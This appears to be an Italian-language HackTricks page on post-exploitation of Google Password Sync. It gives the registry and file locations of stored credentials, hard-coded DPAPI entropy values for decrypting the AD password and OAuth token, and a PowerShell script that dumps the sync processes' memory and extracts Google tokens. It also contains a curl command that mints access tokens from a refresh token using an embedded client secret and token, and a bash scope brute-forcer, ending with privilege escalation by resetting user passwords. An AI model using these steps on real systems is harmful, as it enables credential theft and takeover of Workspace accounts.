# GPS - Google Password Sync

{{#include ../../../banners/hacktricks-training.md}}

## Informazioni di base

Questo è il binario e il servizio che Google offre per **mantenere sincronizzate le password degli utenti tra l'AD** e Workspace. Ogni volta che un utente cambia la propria password nell'AD, viene impostata su Google.

Viene installato in `C:\Program Files\Google\Password Sync` dove puoi trovare il binario `PasswordSync.exe` per configurarlo e `password_sync_service.exe` (il servizio che continuerà a funzionare).

### GPS - Configurazione

Per configurare questo binario (e servizio), è necessario **dargli accesso a un principale Super Admin in Workspace**:

- Accedi tramite **OAuth** con Google e poi **salverà un token nel registro (crittografato)**
- Disponibile solo nei Domain Controller con GUI
- Fornendo alcune **credenziali di Service Account da GCP** (file json) con permessi per **gestire gli utenti di Workspace**
- Molto cattiva idea poiché queste credenziali non scadono mai e potrebbero essere abusate
- Molto cattiva idea dare accesso a un SA su Workspace poiché il SA potrebbe essere compromesso in GCP e sarà possibile pivotare su Workspace
- Google lo richiede per i domini controllati senza GUI
- Queste credenziali sono anche memorizzate nel registro

Per quanto riguarda l'AD, è possibile indicare di utilizzare il **contesto delle applicazioni attuali, anonimo o alcune credenziali specifiche**. Se viene selezionata l'opzione delle credenziali, il **nome utente** è memorizzato all'interno di un file nel **disco** e la **password** è **crittografata** e memorizzata nel **registro**.

### GPS - Dumping password e token dal disco

> [!TIP]
> Nota che [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) è in grado di rilevare **GPS**, ottenere informazioni sulla configurazione e **persino decrittografare la password e il token**.

Nel file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** è possibile trovare parte della configurazione come il **`baseDN`** dell'AD configurato e il **`username`** le cui credenziali vengono utilizzate.

Nel registro **`HKLM\Software\Google\Google Apps Password Sync`** è possibile trovare il **refresh token crittografato** e la **password crittografata** per l'utente AD (se presente). Inoltre, se invece di un token, vengono utilizzate alcune **credenziali SA**, è anche possibile trovarle crittografate in quell'indirizzo di registro. I **valori** all'interno di questo registro sono accessibili solo dagli **Amministratori**.

La **password** crittografata (se presente) si trova all'interno della chiave **`ADPassword`** ed è crittografata utilizzando l'API **`CryptProtectData`**. Per decrittografarla, è necessario essere lo stesso utente di quello che ha configurato la sincronizzazione della password e utilizzare questa **entropia** quando si utilizza **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`

Il token crittografato (se presente) si trova all'interno della chiave **`AuthToken`** ed è crittografato utilizzando l'API **`CryptProtectData`**. Per decrittografarlo, è necessario essere lo stesso utente di quello che ha configurato la sincronizzazione della password e utilizzare questa **entropia** quando si utilizza **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
Inoltre, è anche codificato utilizzando base32hex con il dizionario **`0123456789abcdefghijklmnopqrstv`**.

I valori di entropia sono stati trovati utilizzando lo strumento. È stato configurato per monitorare le chiamate a **`CryptUnprotectData`** e **`CryptProtectData`** e poi lo strumento è stato utilizzato per avviare e monitorare `PasswordSync.exe` che decrittograferà la password e il token di autenticazione configurati all'inizio e lo strumento mostrerà **i valori per l'entropia utilizzata** in entrambi i casi:

<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>

Nota che è anche possibile vedere i valori **decrittografati** negli input o output delle chiamate a queste API (nel caso in cui a un certo punto Winpeas smetta di funzionare).

Nel caso in cui la sincronizzazione della password fosse **configurata con credenziali SA**, sarà anche memorizzata in chiavi all'interno del registro **`HKLM\Software\Google\Google Apps Password Sync`**.

### GPS - Dumping token dalla memoria

Proprio come con GCPW, è possibile dumpare la memoria del processo di `PasswordSync.exe` e dei processi `password_sync_service.exe` e sarà possibile trovare refresh e access tokens (se sono già stati generati).\
Immagino che tu possa anche trovare le credenziali AD configurate.

<details>

<summary>Dump <code>PasswordSync.exe</code> e i processi <code>password_sync_service.exe</code> e cerca i token</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Show EULA if it wasn't accepted yet for strings
$stringsPath

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$processNames = @("PasswordSync", "password_sync_service")
$chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}
```
</details>

### GPS - Generazione di token di accesso dai token di aggiornamento

Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo insieme all'ID client e al segreto client specificati nel seguente comando:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
```
### GPS - Scopes

> [!NOTE]
> Nota che anche avendo un refresh token, non è possibile richiedere alcuno scope per il token di accesso poiché puoi richiedere solo gli **scope supportati dall'applicazione in cui stai generando il token di accesso**.
>
> Inoltre, il refresh token non è valido in ogni applicazione.

Per impostazione predefinita, GPS non avrà accesso come utente a ogni possibile scope OAuth, quindi utilizzando il seguente script possiamo trovare gli scope che possono essere utilizzati con il `refresh_token` per generare un `access_token`:

<details>

<summary>Bash script to brute-force scopes</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope           \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
```
</details>

E questo è l'output che ho ottenuto al momento della scrittura:
```
https://www.googleapis.com/auth/admin.directory.user
```
Qual è lo stesso che ottieni se non indichi alcun ambito.

> [!CAUTION]
> Con questo ambito potresti **modificare la password di un utente esistente per aumentare i privilegi**.

{{#include ../../../banners/hacktricks-training.md}}
